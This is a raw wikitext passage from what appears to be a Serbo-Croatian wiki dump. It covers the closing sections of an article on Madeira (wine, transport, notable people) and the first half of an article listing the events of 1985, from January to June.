živi 45% stanovništva i gdje je gustoća 1.500 stan./km². Zbog ograničenja razvitka koji nameće okoliš u zadnjih nekoliko desetljeća se dogodio odljev stanovništva. Glavna odredišta madeirske emigracije su: [[Venezuela]], [[Južna Afrika|JAR]], [[Francuska]], [[Švajcarska|Švicarska]], [[Kanalska ostrva|Kanalski otoci]], [[Sjedinjene Američke Države|SAD]] i [[Brazil]]. == Kultura == [[Datoteka:MadeiraWinery.jpg|thumb|right|200px|Vinske bačve]] Tradicionalne poslastice na Madeiri koriste lokalne sastojke, od kojih je najuobičajeniji ''mel de cana'', tj. med od šećerne trske ili melasa. Tradicionalni kolač otoka je ''Bolo de mel'' tj. medni kolač (od šećerne trske) koji se po običaju nikad ne reže nožem, nego se lomi rukom. Posjetitelji otoka također na otoku mogu vidjeti mnoge rukom izrađene proizvode koji se prodaju u dućanima. === Madeirsko vino === [[Vino]] [[madeira (vino)|madeira]] je uz cvijeće i voće najpoznatiji proizvod otoka. Ovo vino je također i najveći izvozni proizvod otoka, a najpoznatiji je u Velikoj Britaniji. Madeira je jedino vino koje se izvozilo u britanske kolonije u Americi, a da nije prošlo kroz britansku luku. Vino je izmišljeno slučajno, kako bi izdržalo duga putovanja brodom. Postoje četiri vrste: [[Malvazija]] (slatko, sa puno šećera), [[Boal]] (srednje slatko), [[Verdelho]] (polusuho) i [[Sercial]] (suho). Ovo vino se može čuvati dugi niz godina, bez gubitka kvalitete. == Promet == [[Datoteka:Machico madeira01.jpg|thumb|Pogled na brzu cestu u [[Machico|Machicu]]]] Otočje ima dvije zračne luke, jedna u [[Santa Cruz]]u, blizu Funchala (''Aeroporto da Madeira'' (FNC)) na otoku Madeira, te druga u gradu [[Vila Baleira]] na otoku Porto Santo. Najčešći letovi za otoke su iz Lisabona, ali postoji i mnoštvo izravnih letova iz drugih europskih gradova, te drugih država, kao [[Brazil]] i [[Venezuela]]. Zračna luka na Madeiri je bila poznata po kratkoj pisti koja je sagrađena na visokom nasipu koji pada izravno u more. Najveći zrakoplovi koji su ovdje slijetali su [[Airbus A320]] i [[Boeing 737]]. U zadnje vrijeme pista je nadograđena i produžena na 2.7&nbsp;km, što omogućava slijetanje skoro bilo kojeg zrakoplova. Građani zemalja [[Evropska unija|EU]] koje su pod [[Schengenski sporazum|Schengenskim sporazumom]] mogu bez putnih dokumenata doći na otok, dok je za ostale putovnica obvezna. Prijevoz između dva glavna otoka se vrši [[zrakoplov]]om ili [[trajekt]]om koji može prevoziti i vozila. Posjet unutrašnjosti otokâ je olakšan novoizgrađenom prometnom infrastrukturom. == Značajne osobe == Ovo je popis poznatih osoba koje su rođene ili su živjeli na Madeiri: * [[Kristofor Kolumbo]], istraživač * [[Cristiano Ronaldo]], nogometaš [[Manchester United F.C.|Manchester Uniteda]] i [[Portugalska nogometna reprezentacija|portugalske reprezentacije]] * [[Karlo I. Austrijski|Karlo I.]], austrijski car * [[José Berardo]], portugalski bogataš i sakupljač umjetnina * [[Artur de Sousa Pinga]], nogometaš klubova [[CS Marítimo]] i[[Futebol Clube do Porto|FC Porto]] * [[Fátima Lopes]], modna dizajnerica * [[Teodósio Clemente de Gouveia]], [[kardinal]] * [[José Vicente de Freitas]], vojni časnik i bivši premijer * [[João Fernandes Vieira]], vojni časnik i političar u [[Brazil]]u i [[Angola|Angoli]] * [[Henrique Franco]], slikar * [[Paul Langerhans]], njemački patolog i biolog * [[Alberto João Jardim]], predsjednik regionalne vlade * [[Nadia Almada]], pobjednik / pobjednica engleskog [[Veliki brat|Big Brothera]] * [[Moises Henriques]], australski igrač kriketa * [[Herberto Hélder]], pisac * [[Vicente Jorge Silva]], novinar i redatelj * [[António da Cunha Telles]], filmski producent == Vanjske veze == {{Commonscat|Madeira}} * {{pt icon}}[http://www.gov-madeira.pt Regionalna vlada Madeire] {{Webarchive|url=https://web.archive.org/web/20070509165306/http://www.gov-madeira.pt/ |date=2007-05-09 }} * {{pt icon}}[http://www.alrm.pt/ Skupština Madeire] * {{pt icon}}[http://www.madeira-island-pictures.com/ Razne informacije i fotografije] {{Webarchive|url=https://web.archive.org/web/20070101020949/http://www.madeira-island-pictures.com/ |date=2007-01-01 }} * {{en icon}}[http://www.madeiraarchipelago.com/ Fotografije Madeire 1] {{Webarchive|url=https://web.archive.org/web/20111029062530/http://www.madeiraarchipelago.com/ |date=2011-10-29 }} * {{pt icon}}[http://www.flickr.com/photos/vitor107/sets/1005931/ Fotografije Madeire 2] * {{pt icon}}[http://www.ceha-madeira.net/ Centro de Estudos de História do Atlântico] {{Webarchive|url=https://web.archive.org/web/20070221123818/http://www.ceha-madeira.net/ |date=2007-02-21 }} * {{pt icon}}{{en icon}}{{fr icon}}{{es icon}}{{de icon}}[http://www.madeiratourism.org/ Službena turistička stranica] * [http://www.ihden-reisen.de/madeira/madeira_start.html Private guestrooms. Information in German] * [http://www.madeira-center.de Madeira-Center - German Portal Madeira] {{Webarchive|url=https://web.archive.org/web/20190726081553/http://www.madeira-center.de/ |date=2019-07-26 }} [[Kategorija:Madeira| ]] [[Kategorija:Otoci Atlantskog oceana]] [[Kategorija:Otoci u Africi]] [[Kategorija:Otoci u Portugalu]] anmmrn5ic6tt1zoulihj9s6cj0x4khj 0 23612 42602596 42587556 2026-05-27T19:06:58Z Alekol 2231 /* Rođenja */ 42602596 wikitext text/x-wiki {{Year dab|1985}} {{godina nav}} {{Godina u drugim kalendarima|1985}} Godina '''1985''' bila je [[redovna godina koja počinje u utorak]] (link pokazuje kalendar). * Međunarodna godina mladosti (UN) __NOTOC__ <center> {| style="border:1px solid silver;background-color:white;padding:5px;" align=center class=radius | '''1985''': <br /> [[1985#Januar/Siječanj|<1>]] • [[1985#Februar/Veljača|<2>]] • [[1985#Mart/Ožujak|<3>]] • [[1985#April/Travanj|<4>]] • [[1985#Maj/Svibanj|<5>]] • [[1985#Jun/Lipanj|<6>]] <br /> [[1985#Jul/Juli/Srpanj|<7>]] • [[1985#Avgust/August/Kolovoz|<8>]] • [[1985#Septembar/Rujan|<9>]] • [[1985#Oktobar/Listopad|<10>]] • [[1985#Novembar/Studeni|<11>]] • [[1985#Decembar/Prosinac|<12>]] <br /> [[1985#Rođenja|Rođenja]] • [[1985#Smrti|Smrti]] |}</center> == Događaji == === Januar/Siječanj === * [[1. 1.]] - Kreiran [[DNS]] (''Domain Name System'') na [[Internet]]u. * 1. 1. - Danski [[Grenland]] se povukao iz [[Evropska zajednica|Evropske zajednice]]. * 1. 1. - Ukinuto ograničenje za putovanje iz Jugoslavije (odgovarajući depozit u banci). * [[4. 1.|4]] - [[19. 1.]] - Talas sibirske hladnoće pogađa Evropu, sneg na Azurnoj obali i u Rimu, pola metra u Beogradu<ref>[http://www.upi.com/Archives/1985/01/06/Below-zero-Siberian-winds-sent-shivers-across-Europe-Sunday-prompting/5367473835600/ Below-zero Siberian winds sent shivers across Europe Sunday, prompting...]. upi.com Archives Jan. 6, 1985</ref>, 444 mrtvih u Evropi, 42 u Jugoslaviji<ref>[http://www.upi.com/Archives/1985/01/09/Record-cold-hits-Mediterranean-sunspots/4490474094800/ Record cold hits Mediterranean sunspots]. upi.com Archives Jan. 9, 1985</ref><ref>[http://www.upi.com/Archives/1985/01/19/The-Siberian-cold-wave-that-plunged-Europe-into-one/8741474958800/ The Siberian cold wave that plunged Europe into one...]. upi.com Archives Jan. 19, 1985</ref>. U [[Socijalistička Republika Rumunija|Rumuniji]] uvedena zabrana upotrebe privatnih automobila (do 26. 3.). [[Datoteka:Bundesarchiv B 145 Bild-F078267-0023, Bonn, Ministerpräsidenten mit EU-Kommissar Delors-CROPPED.jpg|mini|130px|left|[[Jacques Delors]]]] * [[6. 1.]] - [[Jacques Delors]] novi predsednik Evropske komisije (do 1995). * 6. 1. - Sestre Draženka i Šima Čuljak upale u kanjon rijeke [[Lištica (rijeka)|Lištice]] nedaleko od [[Mostar]]a i spašene tek poslije tjedan dana - zbog promrzlina, obema su amputirane obe noge. * [[7. 1.]] - [[George P. Shultz|George Shultz]] i [[Andrej Gromiko]] se sastali u Ženevi nakon 14 meseci zastoja u razgorovorima o redukciji arsenala. * [[8. 1.]] - Švedska izjavila da je kupila dve mini-podmornice od Jugoslavije. * [[13. 1.]] - Prilikom pada voza u provaliju kod Awasha, oko 250 kilometara istočno od glavnog grada [[Etiopija|Etiopije]] Adis Abebe, poginulo je 428 putnika, a 370 je povređeno. * [[14. 1.]] - [[Hun Sen]] dolazi na čelo vlade [[Narodna Republika Kampućija|NR Kampućije]] - premijer [[Kambodža|Kambodže]] do 2023. * [[15. 1.]] - [[Brazil]]ski Kongres za predsjednika bira [[Tancredo Neves|Tancreda Nevesa]] i time formalno završava 21-godišnji period [[Vojna diktatura u Brazilu|vojne diktature u Brazilu]]. * [[januar]] - Jugoslavija optužuje [[Rumunija|Rumuniju]] da prekomerno koristi [[Đerdap]]sku akumulaciju, u vreme veoma niskog vodostaja [[Dunav]]a. * januar - Dobro posećena konferencija "Slovenačka nacija i kultura" u organizaciji društva književnika - suverenitet nacije će se braniti po svaku cenu. * [[20. 1.|20]] - [[22. 1.]] - Polarni vrtlog u Severnoj Americi šalje ledeni vazduh čak do Floride, gde je stradalo 90% citrusa. Druga inauguracija [[Ronald Reagan|Ronalda Reagana]] održana u Rotundi Kapitola umesto napolju. * [[23. 1.]] - Zbog nedostatka dokaza, odustalo se od suđenja prevodiocu [[Pavluško Imširović|Pavlušku Imširoviću]], jednom od [[Beogradska šestorica|Beogradske šestorice]]. On objavljuje štrajk glađu u znak solidarnosti sa ostalima; još trojici (Milić, Olujić, Nikolić) optužbe snižene iz "zavere" u "neprijateljsku propagandu". * [[24. 1.]] - Jugoslovenska i šrilankanska posada teretnjaka ''Frusa'', registrovanog na Gibraltaru, pobunila se na Bermudima jer nije plaćena i dobija trulu hranu i malo vode. * 24. 1. - Na pruzi Beograd-Bar, voz naleteo na odron blizu stanice Zlatibor - sedam mrtvih u iskakanju iz šina. * januar - [[NIN-ova nagrada]] za 1984. dodeljena je [[Milorad Pavić|Miloradu Paviću]] za "[[Hazarski rečnik]]".<ref>[https://istorijskenovine.unilib.rs/view/index.html#panel:pp|issue:UB_00064_19850115|page:7 "Borba", 15. jan. 1985, str. 7]</ref> * [[30. 1.]] - Sudija u Los Angelesu presudio da je [[Andrija Artuković]] sposoban da se brani u procesu za ekstradiciju u Jugoslaviju. * januar - Troškovi života u SFRJ skočili za 10,5% u poređenju sa prošlim mesecom, 57% u odnosu na prošli januar. === Februar/Veljača === <!-- {|style="float:left; margin: 0 0 1em 1em;" |__TOC__ |} --> * [[4. 2.]] - Trojica beogradskih intelektualaca - sociolog [[Milan Nikolić]], radio-tehničar [[Dragomir Olujić]] i [[Miodrag Milić]] - osuđeni na jednu do dve godine zatvora zbog "širenja neprijateljske propagande" (relativno blago, samo će Milić biti u zatvoru). * [[9.2.|9]] - [[10. 2.]] - U [[Sarajevo|Sarajevu]] šampionat u ženskom brzom klizanju (''Allround Speed Skating''), sve tri medalje uzimaju klizačice iz [[Istočna Nemačka|Istočne Nemačke]]. * [[12. 2.]] - Uhapšen [[Vladimir Šeks]], advokat [[Vladimir Mijanović|Vladimira Mijanovića]], jednog od Beogradske šestorice. Štrajkuje glađu, odslužiće 7-mesečnu kaznu. * februar - [[Novi Zeland|Novozelandska]] vlada, koja smatra svoje vode beznuklearnom zonom, odbija dozvolu pristajanja američkom razaraču ''USS Buchanan'' - SAD suspenduju svoje obaveze iz ugovora [[ANZUS]]. * [[16. 2.]] - [[Južnolibanonski sukob (1982–2000)|Južnolibanonski sukob]]: [[Izrael]] počinje povlačenje trupa iz [[Liban]]a - povlače se iz [[Sidon]]a ali ostaju na jugu. * 16. 2. - Objavljivanjem programa, obznanjeno postojanje šiitske radikalne grupe [[Hezbolah]] u Libanu. * [[19. 2.]] - Na beogradskom Konjarniku ubijen kriminalac [[Ranko Rubežić]] - ovo se smatra prvom "sačekušom". * 19. 2. - Prva epizoda ''[[EastEnders]]'' na [[BBC One]]. * 19. 2. - Iberia Airlines Flight 610: avion udario u antenu na brdu kod [[Bilbao]]a, 148 mrtvih. * [[20. 2.]] - U [[Irska|Irskoj]] je, i pored žestokog protivljenja rimokatoličke crkve, legalizovana prodaja [[kontracepcija|kontraceptivnih]] sredstava. * [[26. 2.]] - Jugoslavija i MMF dogovorile novi jednogodišnji stand-by kredit od 300 miliona dolara (u zamenu za ekonomska prilagođavanja u zemlji). * [[28. 2.]] - [[Privremena IRA]] izvela minobacački napad na stanicu Kraljevskog redarstva u [[Newry]]ju u [[Severna Irska|Severnoj Irskoj]] - poginulo devet policajaca. === Mart/Ožujak === [[Datoteka:Mikhail Gorbachev 1987.jpg|thumb|200px|[[Mihail Gorbačov]]]] * [[1. 3.]] - [[Julio María Sanguinetti]] je novi predsednik [[Urugvaj]]a (1985-90 i 1995-2000), čime je posle 12 godina okončana vojno-civilna diktatura. * [[3. 3.]] - Zemljotres u [[Čile]]u blizu [[Valparaíso|Valparaísa]] [[Magnituda zemljotresa|M]] 8.0 - 177 mrtvih, milion bez krova. * 3. 3. - Završava se rudarski štrajk u V. Britaniji, skoro godinu dana nakon početka - poraz rudara i opadanje industrije uglja. * 3. 3. - ABC prikazao prvu epizodu serije ''[[Moonlighting]]'' - 67 epizoda u pet sezona. * [[4. 3.]] - [[Pul nesvrstanih novinskih agencija]]: preko 40 delegacija se sastalo u Beogradu. * [[5. 3.]] - Sud u [[Los Angeles]]u odlučio da [[Andrija Artuković]] bude izručen Jugoslaviji, gde je optužen za ratne zločine u vreme [[NDH]] - odloženo za 60 dana kako bi optužnica bila dopunjena masovnim ubistvom (priloženo 11. 4.). * [[7. 3.]] - U SAD izdata pesma ''[[We Are the World]]'' za pomoć gladnima u [[Etiopija|Etiopiji]]. * [[8. 3.]] - Auto-bomba ubila 80 ljudi u [[Bejrut]]u - meta je bio klerik [[Mohammad Hussein Fadlallah]], osumnjičena [[CIA]]. * [[9. 3.]] - Na železničkoj stanici [[Bunovo (Sofijska oblast)|Bunovo]], pruga Sofija-Burgas, eksplodirala bomba koja je odnela sedam života, uključujući decu - za ovo će 1988. biti osuđena trojica iz Turskog nacionalno-oslobodilačkog pokreta (→ [[:bg:Атентат на гара Буново|bg]]). Prošlog decembra u Bugarskoj je pokrenuta brutalna kampanja bugarizacije imena [[Turci u Bugarskoj|domaćih Turaka]]. * [[10. 3.|10]] - [[20. 3.]] - [[Iračko-iranski rat]], Operacija Badr: Iranci u jakoj ofanzivi nakratko zauzeli deo autoputa Bagdad-Basra, Iračani gađaju iranske gradove. * [[11. 3.]] - [[Mihail Gorbačov]] postaje generalni sekretar [[KPSS]] i de facto vođa [[SSSR|Sovjetskog Saveza]], dan nakon smrti [[Konstantin Černjenko|Konstantina Černjenka]]. Gorbačov je četvrti lider SSSR u 28 meseci (do 1991). * 11. 3. - Egipćani, braća Al Fajed, postali većinski vlasnici čuvene londonske robne kuće "[[Harrods]]". * [[15. 3.]] - Potpredsednik [[Jose Sarney]] preuzima dužnost šefa [[brazil]]ske države zbog bolesti izabranog predsjednika [[Tancredo Neves|Nevesa]] - ovaj umire [[21. 4.]]. * [[16. 3.]] - U [[Bejrut]]u otet američki novinar [[Terry A. Anderson]] - u zatočeništvu ostaje do decembra [[1991]]. * mart - Objavljen [[Manifest GNU]] [[Richard Stallman|Richarda Stallmana]]. * [[17. 3.]] - [[16. 9.]] - [[Expo '85]] u [[Tsukuba|Tsukubi]], tema izložbe je "Staništa i okruženja - nauka i tehnologija za čoveka u kući". * [[21. 3.]] - Masakr u Langi u Južnoj Africi, na 25. godišnjicu Sharpevilleskog masakra, policija ubila 20 ljudi. * [[22. 3.]] - [[Bečka konvencija o zaštiti ozonskog omotača]] (na snazi od 1988). * [[24. 3.]] - Požar u hotelu "Kardial" u [[Banja Vrućica|banji Vrućica]], četvoro mrtvih. * 24. 3. - Eksplozija plina u [[Karlovac|karlovačkom]] hotelu "Park", poginula kuharica. * 24. 3. - Američki oficir [[Arthur D. Nicholson]], član Misije vojnih veza, ubijen od sovjetskog stražara kod baze u [[Ludwigslust]]u u Istočnoj Nemačkoj. * [[25. 3.]] - [[57. dodjela Oscara]]: najbolji film je "[[Amadeus (film)|Amadeus]]", ukupno osam nagrada od 11 nominacija, ''[[A Passage to India (film)|A Passage to India]]'' dve od 11, ''[[The Killing Fields (film)|The Killing Fields]]'' tri od sedam. * [[29. 3.]] - [[Nicolae Ceaușescu]] dobio od skupštine još jedan petogodišnji mandat šefa države. * [[30. 3.]] - ''Caso Degollados'' ("Slučaj preklanih") u Pinočeovom [[Čile]]u: pronađena tela trojice ubijenih članova Komunističke partije - dolazi do istrage i smena. * [[31. 3.]] - Gen. [[John William Vessey Jr.]], šef američkog združenog generalštaba, stigao iz Rumunije u posetu Jugoslaviji. * 31. 3. - U Njujorku održana prva ''[[WrestleMania]]'', događaj [[Profesionalno hrvanje|profesionalnog hrvanja]]. * mart - Godišnja inflacija u SFRJ 70,4% (skok sa 65,2% u februaru); u poslednje četiri godine troškovi života porasli oko 340%. === April/Travanj === * [[3. 4.]] - Finale FIBA Evropskog kupa šampiona u Pireju: [[Cibona]] - Real Madrid 87:78, prva od dve Cibonine titule zaredom. * [[4. 4.]] - Emitovan britanski TV film ''[[Max Headroom: 20 Minutes into the Future]]'', lik Max Headroom je prvi "kompjuterski generisani TV voditelj" (u stvari glumac sa prostetikom), kasnije i američka serija ''Max Headroom'' 1987-88. * [[6. 4.]] - Nakon sudara s kamionom, autobus "Parkova" iz [[Mostar]]a pao u [[Jablaničko jezero]] - poginulo 37 od 45 putnika (dan žalosti 8. aprila). * 6. 4. - Predsednik [[Sudan]]a [[Gaafar Nimeiry]] zbačen u vojnom udaru, sledi maršal [[Abdel Rahman Swar al-Dahab]] do izbora sledeće godine. * [[7. 4.]] - ''[[Wham!]]'' je prva zapadna grupa koja nastupa u NR Kini. * [[11. 4.]] - Umro [[Enver Hodža]], koji je vladao [[Albanija|Albanijom]] od [[1944]]. Nasleđuje ga [[Ramiz Alia]] (do 1991). * [[12. 4.]] - Bomba pripisana Organizaciji Islamskog Džihada eksplodirala u restoranu ''El Descanso'' kod Madrida, koju često posećuje američko vojno osoblje - 18 mrtvih (sve Španci). * 12. 4. - Prva sinhronizacija [[HE Đerdap 2]] na [[Dunav]]u, snaga 270 MW. * [[15. 4.]] - [[Libanski građanski rat]]: šiitski Amal, Druzi i još neki napali sunitski naseristički pokret Al-Mourabitoun, razbijen je za nedelju dana. * [[april]] - [[MMF]] odobrio zajam od 300 miliona dolara Jugoslaviji i reprogram dugova. Prekinuti pregovori o dugovima sa komercijalnim zajmodavcima. * april - XVII sednica CK SKJ - "ofanziva" protiv programa premijerke Planinc<ref name="Boarov">{{Cite web |title=The Curse of Dead Programs |url=http://www.scc.rutgers.edu/serbian_digest/29/t29-2.htm |access-date=2010-06-02 |archive-date=2006-07-13 |archive-url=https://web.archive.org/web/20060713192127/http://www.scc.rutgers.edu/serbian_digest/29/t29-2.htm |dead-url=yes }}</ref>. * april - Agent CIA [[Aldrich Ames]] počeo dostavljati informacije Sovjetima (uhapšen 1994). * [[18.4.|18]] - [[20. 4.]] - IX kongres Saveza književnika Jugoslavije u Novom Sadu - međunacionalna prepucavanja (npr. [[Miodrag Bulatović]] i [[Ciril Zlobec]]). Zlobec je novi predsedavajući. [[Datoteka:Hram zidovi pre 1984.jpg|mini|Zidovi Hrama Svetog Save pre nastavka gradnje]] * [[20. 4.]] - Deda i tri unuka se udavili kada je njihov automobil sleteo u Dunav kod Kladova. * [[21. 4.]] - [[RK Metaloplastika]] pobedila madridski Atletiko i osvojila evropski Kup šampiona u [[rukomet]]u, prva od dve titule zaredom. * [[22. 4.]] - Alpinist Borut Bergant stradao na Himalajima. * [[23. 4.]] - [[Coca-Cola]] uvela novu formulu ''New Coke'' - povučena posle tri meseca zbog izrazito negativnog odziva. * 23. 4. - Slučaj Shah Bano u Indiji: Vrhovni sud podržao pravo žene na alimentaciju, što izaziva proteste muslimana koji to smatraju protivnim šerijatu. * [[24. 4.]] - [[FK Željezničar]] - [[Videoton FC]] 2:1 - Videoton ide u finale Kupa UEFA jer je u [[Stolni Biograd|Sekešfehervaru]] pobijedio 3:1 a u Sarajevu dao gol u posljednjim minutama. * 24. 4. - Sneg pao na planinama u Jugoslaviji, drugde kiša i jak vetar. * [[26. 4.]] - [[Varšavski pakt]] produžen za 20 godina. * [[30. 4.]] - [[Patrijarh srpski German]] osvetio [[Hram svetog Save]], u prisustvu svih srpskih arhijereja, položivši povelju o nastavku radova u novim istorijskim prilikama. === Maj/Svibanj === * [[1. 5.]] - [[Đorđe Martinović]] iz [[Gnjilane|Gnjilana]] na Kosovu se našao kod lekara sa razbijenom flašom u [[anus]]u. On menja iskaze, organi posle višemesečne istrage ne ustanovljuju da li je povreda rezultat silovanja ili samonaneta. "Slučaj Martinović" za Srbe postaje simbol njihovog stradanja na Kosovu i nesposobnosti vlasti da ih zaštiti. * 1. 5. - Federalni sudija u Los Angelesu presudio da Andrija Artuković treba biti izručen SFRJ, zbog ubistva hiljada ljudi u Drugom svetskom ratu. * 1. 5. - SAD uvele trgovački embargo Nikaragvi (čiji je predsednik [[Daniel Ortega]] u poseti SFRJ, tokom turneje po istočnoj Evropi). Međunarodni sud pravde će sledeće godine presuditi da je embargo protivpravan, ali traje do 1990. * [[4. 5.]] - [[Pesma Evrovizije 1985.|Pesma Evrovizije]] u [[Göteborg]]u: pobedili ''Bobbysocks!'' iz Norveške, Jugoslavija ne učestvuje zbog petogodišnjice Titove smrti (trebali su učestvovati [[Zorica Kondža]] i [[Josip Genda]] sa "Pokorom"). * 4. 5. - Nigerija posle više od godinu dana otvorila granice sa Beninom, Nigerom, Čadom i Kamerunom jer želi da ubrza proterivanje 700.000 stranaca. * [[5. 5.]] - [[Ronald Reagan]] i [[Helmut Kohl]] na kontroverznoj pogrebnoj službi na groblju [[Bitburg]] na kome je sahranjeno i 59 elitnih [[SS]]-ovaca. * [[6. 5.]] - Sudar autobusa i kamiona kod [[Vladičin Han|Vladičinog Hana]], 10 mrtvih. * [[8. 5.]] - Govor saveznog predsednika Nemačke [[Richard von Weizsäcker|Richarda von Weizsäckera]] povodom 40. godišnjice kraja rata u Evropi: za Nemce to nije bio dan poraza već oslobođenja. * [[9. 5.]] - U [[Beograd]]u održana vojna [[Parada 85]], povodom 40. godišnjice od pobede nad fašizmom. * [[10. 5.]] - U Zagrebu osuđena 11-člana grupa hrvatskih separatista optužena za planiranje terorističkih aktivnosti, Stjepan Deglin osuđen na 20 godina. * 10/[[11. 5.]] - Zemljotres u [[kopaonik|kopaoničkom]] kraju, [[magnituda zemljotresa|M]] 5.2, ima materijalne štete. * [[11. 5.]] - Požar na drvenoj tribini fudbalskog stadiona u [[Bradford]]u, Engleska, 56 mrtvih. * [[12. 5.]] - Liturgija u zidinama Hrama Svetog Save u Beogradu, kojoj unutar i u okolini prisustvuje veliki broj ljudi - izgradnja ponovo kreće u avgustu. * [[13. 5.]] - Policija u [[Filadelfija|Filadelfiji]], SAD, ubacila eksplozivnu napravu u sedište crnog pokreta MOVE - 11 mrtvih u požaru, uništen 61 stan. * 13. 5. - [[Dire Straits]] su izdali album ''[[Brothers in Arms (album)|Brothers in Arms]]'' - prodat u preko 30 miliona primeraka, prvi preko milion CD-ova. [[Datoteka:Radovan Vlajković.jpg|mini|150px|[[Radovan Vlajković]] (1964)]] * [[15. 5.]] - Rotacija u [[Predsedništvo SFRJ|Predsedništvu]]: [[Radovan Vlajković]] umesto [[Veselin Đuranović|Veselina Đuranovića]]. [[Datoteka:Ozonloch.jpg|mini|180px|[[Ozonska rupa]]]] * [[16. 5.]] - Britanski naučnici obznanili otkriće [[ozonska rupa|ozonske rupe]] nad [[Antarktik]]om - šok za naučnu zajednicu jer je pad ozona mnogo veći od očekivanog; za dve godine će biti potpisan [[Montrealski protokol]] (na snazi od 1989). * [[18. 5.]] - Još jedan potres na Kopaoniku, od 4,7 - klizišta odsekla komunikacije do sela. Od zemljotresa 1980 zabeleženo 8.000 podrhtavanja<ref>[http://www.upi.com/Archives/1985/05/19/Quake-slides-leave-mountain-villages-isolated/3721485323200/ Quake, slides leave mountain villages isolated]. upi.com Archives May 19, 1985</ref>. * [[19. 5.]] - Incident 19. maja - došlo do nereda nakon što je [[Hong Kong]] u Pekingu eliminisao [[Kina|Kinu]] iz kvalifikacija za Mundijal 1986; napadani stranci, među kojima i diplomata iz Jugoslavije. * 19. 5. - Počinje Logorski rat unutar [[Libanski građanski rat|Libanskog građanskog rata]]: izbijaju borbe između pokreta Amal i palestinskih milicija u izbegličkim logorima u Bejrutu. * 19. 5. - Uhapšen američki mornarički oficir [[John Anthony Walker]] koji je špijunirao za Sovjete od 1968. U američkim medijima ova godina je prozvana "Godina špijuna" (→ [[:en:1985: The Year of the Spy|en]]). * [[20. 5.]] - Film „[[Otac na službenom putu]]“ jugoslovenskog režisera [[Emir Kusturica|Emira Kusturice]] osvojio je „[[Zlatna palma|Zlatnu palmu]]“ na 38. međunarodnom [[Kanski festival|festivalu u Kanu]]. * 20. 5. - Emitovanje počinje [[Radio y Televisión Martí|Radio Martí]] (od 1990. i televizija), američki program usmeren prema Kubi. * [[22. 5.]] - U eksploziji automobila-bombe u jednom predgrađu Bejruta poginulo 60, povređeno 190 ljudi. * 22. 5. - Prikazan film ''[[Rambo: First Blood Part II]]''. * [[23. 5.]] - Skupština [[SANU]] odlučila da osnuje komisiju za sastavljanje dokumenta o stanju u Jugoslaviji (→ [[Memorandum SANU]]). Ivan Stambolić je prethodno pozvao srpsku inteligenciju da se konstruktivno uključi u debatu o političkim problemima zemlje.<ref> Jović 2003, 363</ref> * 23. 5. - Tanjug javlja da će [[bezolovni benzin]] biti dostupan sledećeg leta na Jadranu i glavnim saobraćajnicama, proizvodi ga riječka rafinerija. * 23. 5. - Objavljeno da je ribar Stojan Bečić ulovio ajkulu ([[Golema psina|golemu psinu]]) od šest metara kod [[Volosko]]g. * [[25. 5.]] - Tropska oluja pogodila [[Bangladeš]], oko 11.000 mrtvih. * [[28. 5.]] - [[Amnesty International]] pozvao jugoslovensku vladu da prekine s hapšenjima za nenasilnu političku aktivnost<ref>[http://www.upi.com/Archives/1985/05/28/Yugoslavia-urged-to-halt-non-violent-political-arrests/3513486100800/ Yugoslavia urged to halt non-violent political arrests]. upi.com Archives May 28, 1985</ref>. * [[29. 5.]] - [[Tragedija na Heyselu]] - sukob između suparničkih navijača Juventusa i Liverpoola na finalu fudbalskog Kupa evropskih prvaka završava se smrću 38 osoba - engleskim klubovima zabranjeno učešće u takmičenjima UEFA do 1990-91. * [[31. 5.]] - [[Milka Planinc]], predsednica [[SIV]]-a, u poseti [[SAD]]. * 31. 5. - [[Gvatemala]] dobija novi, demokratski, ustav koji omogućava povratak vlasti u civilne ruke - ali [[gvatemalski građanski rat|građanski rat]] se nastavlja. === Jun/Juni/Lipanj === * [[2. 6.]] - Izbori u Grčkoj, [[PASOK]] [[Andreas Papandreu|Andreasa Papandreua]] zadržao većinu. * [[4. 6.]] - Zapadnonemački kancelar [[Helmut Kohl]] stigao u posetu SFRJ. * [[5. 6.]] - U fabrici [[Tvornica Automobila Sarajevo|TAS]] Vogošća proizveden prvi [[Volkswagen Golf|Golf]] II.<ref>[https://autoblog.rs/blog/auto/istorija/2020/06/09/pre-35-godina-iz-fabrike-tas-u-vogosci-izasao-prvi-golf-ii Pre 35 godina iz fabrike TAS u Vogošći izašao prvi Golf II]. autoblog.rs</ref> * [[6. 6.]] - [[Izrael]] je posle trogodišnje okupacije povukao veći deo snaga iz [[Liban]]a, ali je zadržao granični pojas unutar te zemlje. Graničnu zonu kontroliše njihova saveznica [[Južnolibanska armija]] (do 2000, kada su se povukle i sve izraelske jedinice). * 6. 6. - U Brazilu ekshumirano telo [[Josef Mengele|Josefa Mengelea]] - utopio se 1979. * [[12. 6.]] - Španija i Portugal potpisali pristupanje Evropskoj zajednici (od Nove godine). * [[13. 6.]] - Pokrenut koncept [[Evropski glavni grad kulture|Evropskog glavnog grada kulture]], prvi je [[Atena]], po ideji [[Melina Merkuri|Meline Merkuri]] i [[Jack Lang|Jacka Langa]]. * [[14. 6.]] - Potpisan [[Schengenski sporazum]] među pet europskih zemalja: [[Belgija]], [[Francuska]], [[Njemačka]], [[Luksemburg]] i [[Nizozemska]]. * 14. 6. - TWA Flight 847: Hezbolah i Islamski džihad oteli avion ubrzo nakon poletanja iz Atine, talačka kriza traje do kraja meseca. * [[15. 6.]] - U Beogradu održan veliki koncert za pomoć gladnima u Africi ([[YU rok misija]] i pesma "Za milion godina"). * 15. 6. - U Tokiju osnovan [[Studio Ghibli]], najpoznatiji po [[anime]] dugometražnim filmovima. * 15. 6. - [[Argentina|Argentinski]] ministar finansija Juan Vital Sourrouille uvodi Plan Austral: peso je zamenjen australom po kursu 1000:1, zamrznute cene i plate, prekinuto štampanje novca - inflacija je privremeno oborena. * jun - [[Udruženje književnika Srbije]]: situacija na Kosovu je uporediva sa "najstrašnijim iskustvima iz Drugog svetskog rata". Nakon "slučaja Martinović", kritička inteligencija je fokusirana na srpske nacionalne interese.<ref name="Jovic355"> Jović 2003, 355</ref> * jun - Dvojica albanskih dizača tegova prebegli tokom turneje u Jugoslaviji. * jun - [[Vatikan]] zatražio da se ne ohrabruju hodočašća u [[Međugorje]], dok lokalne crkvene vlasti ne prouče situaciju. * jun - Naslovnica ''[[National Geographic]]'' - ''Afghan Girl'' ([[Šarbat Gula]]). * jun? - [[Prvenstvo Jugoslavije u fudbalu 1984/85.|Prvak]] Jugoslavije u fudbalu: [[FK Sarajevo]], u Kup UEFA idu Hajduk, Partizan i Vardar, C. Zvezda u Kup kupova. * [[16. 6.]] - [[Afgansko-sovjetski 